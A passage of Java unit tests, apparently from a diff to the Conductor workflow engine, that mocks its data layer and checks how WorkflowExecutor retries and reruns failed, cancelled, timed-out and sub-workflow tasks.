workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + + // add 2 failed task in 2 forks and 1 cancelled in the 3rd fork + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(1); + task_1_1.setRetryCount(0); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.FAILED); + task_1_1.setTaskDefName("task1"); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_1_2 = new TaskModel(); + task_1_2.setTaskId(UUID.randomUUID().toString()); + task_1_2.setSeq(2); + task_1_2.setRetryCount(1); + task_1_2.setTaskType(TaskType.SIMPLE.toString()); + task_1_2.setStatus(TaskModel.Status.COMPLETED); + task_1_2.setTaskDefName("task1"); + task_1_2.setReferenceTaskName("task1_ref1"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_1_2)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + } + + @Test + public void testRetryWorkflow() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger updateTasksCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTasksCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTasks(any()); + + AtomicInteger updateTaskCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTaskCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTask(any()); + + // add 2 failed task in 2 forks and 1 cancelled in the 3rd fork + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(20); + task_1_1.setRetryCount(1); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.CANCELED); + task_1_1.setRetried(true); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_1_2 = new TaskModel(); + task_1_2.setTaskId(UUID.randomUUID().toString()); + task_1_2.setSeq(21); + task_1_2.setRetryCount(1); + task_1_2.setTaskType(TaskType.SIMPLE.toString()); + task_1_2.setStatus(TaskModel.Status.FAILED); + task_1_2.setTaskDefName("task1"); + task_1_2.setWorkflowTask(new WorkflowTask()); + task_1_2.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(22); + task_2_1.setRetryCount(1); + task_2_1.setStatus(TaskModel.Status.FAILED); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setTaskDefName("task2"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + TaskModel task_3_1 = new TaskModel(); + task_3_1.setTaskId(UUID.randomUUID().toString()); + task_3_1.setSeq(23); + task_3_1.setRetryCount(1); + task_3_1.setStatus(TaskModel.Status.CANCELED); + task_3_1.setTaskType(TaskType.SIMPLE.toString()); + task_3_1.setTaskDefName("task3"); + task_3_1.setWorkflowTask(new WorkflowTask()); + task_3_1.setReferenceTaskName("task3_ref1"); + + TaskModel task_4_1 = new TaskModel(); + task_4_1.setTaskId(UUID.randomUUID().toString()); + task_4_1.setSeq(122); + task_4_1.setRetryCount(1); + task_4_1.setStatus(TaskModel.Status.FAILED); + task_4_1.setTaskType(TaskType.SIMPLE.toString()); + task_4_1.setTaskDefName("task1"); + task_4_1.setWorkflowTask(new WorkflowTask()); + task_4_1.setReferenceTaskName("task4_refABC"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_1_2, task_2_1, task_3_1, task_4_1)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + // then: + assertEquals(WorkflowModel.Status.FAILED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertEquals(1, updateWorkflowCalledCounter.get()); + assertEquals(1, updateTasksCalledCounter.get()); + assertEquals(0, updateTaskCalledCounter.get()); + } + + @Test + public void testRetryWorkflowReturnsNoDuplicates() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(10); + task_1_1.setRetryCount(0); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.FAILED); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_1_2 = new TaskModel(); + task_1_2.setTaskId(UUID.randomUUID().toString()); + task_1_2.setSeq(11); + task_1_2.setRetryCount(1); + task_1_2.setTaskType(TaskType.SIMPLE.toString()); + task_1_2.setStatus(TaskModel.Status.COMPLETED); + task_1_2.setTaskDefName("task1"); + task_1_2.setWorkflowTask(new WorkflowTask()); + task_1_2.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(21); + task_2_1.setRetryCount(0); + task_2_1.setStatus(TaskModel.Status.CANCELED); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setTaskDefName("task2"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + TaskModel task_3_1 = new TaskModel(); + task_3_1.setTaskId(UUID.randomUUID().toString()); + task_3_1.setSeq(31); + task_3_1.setRetryCount(1); + task_3_1.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + task_3_1.setTaskType(TaskType.SIMPLE.toString()); + task_3_1.setTaskDefName("task1"); + task_3_1.setWorkflowTask(new WorkflowTask()); + task_3_1.setReferenceTaskName("task3_ref1"); + + TaskModel task_4_1 = new TaskModel(); + task_4_1.setTaskId(UUID.randomUUID().toString()); + task_4_1.setSeq(41); + task_4_1.setRetryCount(0); + task_4_1.setStatus(TaskModel.Status.TIMED_OUT); + task_4_1.setTaskType(TaskType.SIMPLE.toString()); + task_4_1.setTaskDefName("task1"); + task_4_1.setWorkflowTask(new WorkflowTask()); + task_4_1.setReferenceTaskName("task4_ref1"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_1_2, task_2_1, task_3_1, task_4_1)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + assertEquals(8, workflow.getTasks().size()); + } + + @Test + public void testRetryWorkflowMultipleRetries() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(10); + task_1_1.setRetryCount(0); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.FAILED); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(20); + task_2_1.setRetryCount(0); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setStatus(TaskModel.Status.CANCELED); + task_2_1.setTaskDefName("task1"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_2_1)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + assertEquals(4, workflow.getTasks().size()); + + // Reset Last Workflow Task to FAILED. + TaskModel lastTask = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals("task1_ref1")) + .collect( + groupingBy( + TaskModel::getReferenceTaskName, + maxBy(comparingInt(TaskModel::getSeq)))) + .values() + .stream() + .map(Optional::get) + .collect(Collectors.toList()) + .get(0); + lastTask.setStatus(TaskModel.Status.FAILED); + workflow.setStatus(WorkflowModel.Status.FAILED); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + assertEquals(5, workflow.getTasks().size()); + + // Reset Last Workflow Task to FAILED. + // Reset Last Workflow Task to FAILED. + TaskModel lastTask2 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals("task1_ref1")) + .collect( + groupingBy( + TaskModel::getReferenceTaskName, + maxBy(comparingInt(TaskModel::getSeq)))) + .values() + .stream() + .map(Optional::get) + .collect(Collectors.toList()) + .get(0); + lastTask2.setStatus(TaskModel.Status.FAILED); + workflow.setStatus(WorkflowModel.Status.FAILED); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + assertEquals(6, workflow.getTasks().size()); + } + + @Test + public void testRetryWorkflowWithJoinTask() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + + TaskModel forkTask = new TaskModel(); + forkTask.setTaskType(TaskType.FORK_JOIN.toString()); + forkTask.setTaskId(UUID.randomUUID().toString()); + forkTask.setSeq(1); + forkTask.setRetryCount(1); + forkTask.setStatus(TaskModel.Status.COMPLETED); + forkTask.setReferenceTaskName("task_fork"); + + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(20); + task_1_1.setRetryCount(1); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.FAILED); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(22); + task_2_1.setRetryCount(1); + task_2_1.setStatus(TaskModel.Status.CANCELED); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setTaskDefName("task2"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + TaskModel joinTask = new TaskModel(); + joinTask.setTaskType(TaskType.JOIN.toString()); + joinTask.setTaskId(UUID.randomUUID().toString()); + joinTask.setSeq(25); + joinTask.setRetryCount(1); + joinTask.setStatus(TaskModel.Status.CANCELED); + joinTask.setReferenceTaskName("task_join"); + joinTask.getInputData() + .put( + "joinOn", + Arrays.asList( + task_1_1.getReferenceTaskName(), task_2_1.getReferenceTaskName())); + + workflow.getTasks().addAll(Arrays.asList(forkTask, task_1_1, task_2_1, joinTask)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + assertEquals(6, workflow.getTasks().size()); + assertEquals(WorkflowModel.Status.FAILED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + } + + @Test + public void testRetryFromLastFailedSubWorkflowTaskThenStartWithLastFailedTask() { + IDGenerator idGenerator = new IDGenerator(); + // given + String id = idGenerator.generate(); + String workflowInstanceId = idGenerator.generate(); + TaskModel task = new TaskModel(); + task.setTaskType(TaskType.SIMPLE.name()); + task.setTaskDefName("task"); + task.setReferenceTaskName("task_ref"); + task.setWorkflowInstanceId(workflowInstanceId); + task.setScheduledTime(System.currentTimeMillis()); + task.setTaskId(idGenerator.generate()); + task.setStatus(TaskModel.Status.COMPLETED); + task.setRetryCount(0); + task.setWorkflowTask(new WorkflowTask()); + task.setOutputData(new HashMap<>()); + task.setSubWorkflowId(id); + task.setSeq(1); + + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(workflowInstanceId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.FAILED); + task1.setRetryCount(0); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + task1.setSubWorkflowId(id); + task1.setSeq(2); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setWorkflowId(id); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("subworkflow"); + workflowDef.setVersion(1); + subWorkflow.setWorkflowDefinition(workflowDef); + subWorkflow.setStatus(WorkflowModel.Status.FAILED); + subWorkflow.getTasks().addAll(Arrays.asList(task, task1)); + subWorkflow.setParentWorkflowId("testRunWorkflowId"); + + TaskModel task2 = new TaskModel(); + task2.setWorkflowInstanceId(subWorkflow.getWorkflowId()); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.FAILED); + task2.setRetryCount(0); + task2.setOutputData(new HashMap<>()); + task2.setSubWorkflowId(id); + task2.setTaskType(TaskType.SUB_WORKFLOW.name()); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setTasks(Collections.singletonList(task2)); + workflowDef = new WorkflowDef(); + workflowDef.setName("first_workflow"); + workflow.setWorkflowDefinition(workflowDef); + + // when + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true)) + .thenReturn(subWorkflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(workflowDef)); + when(executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId())) + .thenReturn(task1); + when(executionDAOFacade.getWorkflowModel(subWorkflow.getParentWorkflowId(), false)) + .thenReturn(workflow); + + workflowExecutor.retry(workflow.getWorkflowId(), true); + + // then + assertEquals(task.getStatus(), TaskModel.Status.COMPLETED); + assertEquals(task1.getStatus(), TaskModel.Status.IN_PROGRESS); + assertEquals(workflow.getPreviousStatus(), WorkflowModel.Status.FAILED); + assertEquals(workflow.getStatus(), WorkflowModel.Status.RUNNING); + assertEquals(subWorkflow.getPreviousStatus(), WorkflowModel.Status.FAILED); + assertEquals(subWorkflow.getStatus(), WorkflowModel.Status.RUNNING); + } + + @Test + public void testRetryTimedOutWorkflowWithoutFailedTasks() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRetryWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.TIMED_OUT); + + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(20); + task_1_1.setRetryCount(1); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.COMPLETED); + task_1_1.setRetried(true); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(22); + task_2_1.setRetryCount(1); + task_2_1.setStatus(TaskModel.Status.COMPLETED); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setTaskDefName("task2"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_2_1)); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger updateTasksCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTasksCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTasks(any()); + // end of setup + + // when + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + // then + assertEquals(WorkflowModel.Status.TIMED_OUT, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertTrue(workflow.getLastRetriedTime() > 0); + assertEquals(1, updateWorkflowCalledCounter.get()); + assertEquals(1, updateTasksCalledCounter.get()); + } + + @Test + public void testRetryWorkflowClearsLegacySubWorkflowIdFromRetriedTask() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowClearsLegacySubWorkflowIdFromRetriedTask"); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setPriority(0); + workflow.setReasonForIncompletion("subworkflow failed"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowClearsLegacySubWorkflowIdFromRetriedTask"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("integration_test_wf"); + workflowTask.setTaskReferenceName("sub1"); + workflowTask.setType(SUB_WORKFLOW.name()); + workflowTask.setTaskDefinition(new TaskDef("integration_test_wf")); + + TaskModel failedSubWorkflowTask = new TaskModel(); + failedSubWorkflowTask.setTaskId("failed-subworkflow-task"); + failedSubWorkflowTask.setTaskType(TaskType.TASK_TYPE_SUB_WORKFLOW); + failedSubWorkflowTask.setTaskDefName("integration_test_wf"); + failedSubWorkflowTask.setReferenceTaskName("sub1"); + failedSubWorkflowTask.setWorkflowTask(workflowTask); + failedSubWorkflowTask.setWorkflowInstanceId(workflow.getWorkflowId()); + failedSubWorkflowTask.setStatus(TaskModel.Status.FAILED); + failedSubWorkflowTask.setSeq(1); + failedSubWorkflowTask.setReasonForIncompletion("subworkflow failed"); + failedSubWorkflowTask.setSubWorkflowId("old-subworkflow-id"); + failedSubWorkflowTask.setExternalOutputPayloadStoragePath("old-output.json"); + failedSubWorkflowTask.getInputData().put("subWorkflowId", "old-subworkflow-id"); + failedSubWorkflowTask.getOutputData().put("subWorkflowId", "old-subworkflow-id"); + failedSubWorkflowTask.getOutputData().put("result", "stale"); + + workflow.getTasks().add(failedSubWorkflowTask); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(workflowDef)); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + + TaskModel retriedTask = + workflow.getTasks().stream() + .filter(task -> "sub1".equals(task.getReferenceTaskName())) + .filter(task -> !task.isRetried()) + .findFirst() + .orElseThrow(); + + assertNull(retriedTask.getSubWorkflowId()); + assertFalse(retriedTask.getInputData().containsKey("subWorkflowId")); + assertFalse(retriedTask.getOutputData().containsKey("subWorkflowId")); + assertNull(retriedTask.getExternalOutputPayloadStoragePath()); + assertTrue(retriedTask.getOutputData().isEmpty()); + } + + @Test(expected = ConflictException.class) + public void testRerunNonTerminalWorkflow() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryNonTerminalWorkflow"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflow.getWorkflowId()); + workflowExecutor.rerun(rerunWorkflowRequest); + } + + @Test + public void testRerunWorkflow() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRerunWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRerunWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setReasonForIncompletion("task1 failed"); + workflow.setFailedReferenceTaskNames( + new HashSet<>() { + { + add("task1_ref1"); + } + }); + workflow.setFailedTaskNames( + new HashSet<>() { + { + add("task1"); + } + }); + + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(20); + task_1_1.setRetryCount(1); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.FAILED); + task_1_1.setRetried(true); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); + task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(22); + task_2_1.setRetryCount(1); + task_2_1.setStatus(TaskModel.Status.CANCELED); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setTaskDefName("task2"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_2_1)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflow.getWorkflowId()); + workflowExecutor.rerun(rerunWorkflowRequest); + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + assertEquals(WorkflowModel.Status.FAILED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertNull(workflow.getReasonForIncompletion()); + assertEquals(new HashSet<>(), workflow.getFailedReferenceTaskNames()); + assertEquals(new HashSet<>(), workflow.getFailedTaskNames()); + } + + @Test + public void testRerunSubWorkflow() { + IDGenerator idGenerator = new IDGenerator(); + // setup + String parentWorkflowId = idGenerator.generate(); + String subWorkflowId = idGenerator.generate(); + + // sub workflow setup + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(subWorkflowId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TaskType.SIMPLE.name()); + task2.setTaskDefName("task2"); + task2.setReferenceTaskName("task2_ref"); + task2.setWorkflowInstanceId(subWorkflowId); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.COMPLETED); + task2.setWorkflowTask(new WorkflowTask()); + task2.setOutputData(new HashMap<>()); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setParentWorkflowId(parentWorkflowId); + subWorkflow.setWorkflowId(subWorkflowId); + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName("subworkflow"); + subworkflowDef.setVersion(1); + subWorkflow.setWorkflowDefinition(subworkflowDef); + subWorkflow.setOwnerApp("junit_testRerunWorkflowId"); + subWorkflow.setStatus(WorkflowModel.Status.COMPLETED); + subWorkflow.getTasks().addAll(Arrays.asList(task1, task2)); + + // parent workflow setup + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId(parentWorkflowId); + task.setScheduledTime(System.currentTimeMillis()); + task.setTaskId(idGenerator.generate()); + task.setStatus(TaskModel.Status.COMPLETED); + task.setOutputData(new HashMap<>()); + task.setSubWorkflowId(subWorkflowId); + task.setTaskType(TaskType.SUB_WORKFLOW.name()); + task.setWorkflowTask(new WorkflowTask()); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(parentWorkflowId); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("parentworkflow"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.getTasks().addAll(Arrays.asList(task)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true)) + .thenReturn(subWorkflow); + when(executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId())) + .thenReturn(task); + when(executionDAOFacade.getWorkflowModel(subWorkflow.getParentWorkflowId(), false)) + .thenReturn(workflow); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(subWorkflow.getWorkflowId()); + workflowExecutor.rerun(rerunWorkflowRequest); + + // then: + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, subWorkflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, subWorkflow.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + } + + @Test + public void testRerunWorkflowWithTaskId() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRerunWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + // noinspection unchecked + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setReasonForIncompletion("task1 failed"); + workflow.setFailedReferenceTaskNames( + new HashSet<>() { + { + add("task1_ref1"); + } + }); + workflow.setFailedTaskNames( + new HashSet<>() { + { + add("task1"); + } + }); + TaskModel task_1_1 = new TaskModel(); + task_1_1.setTaskId(UUID.randomUUID().toString()); + task_1_1.setSeq(20); + task_1_1.setRetryCount(1); + task_1_1.setTaskType(TaskType.SIMPLE.toString()); + task_1_1.setStatus(TaskModel.Status.FAILED); + task_1_1.setRetried(true); + task_1_1.setTaskDefName("task1"); + task_1_1.setWorkflowTask(new WorkflowTask()); 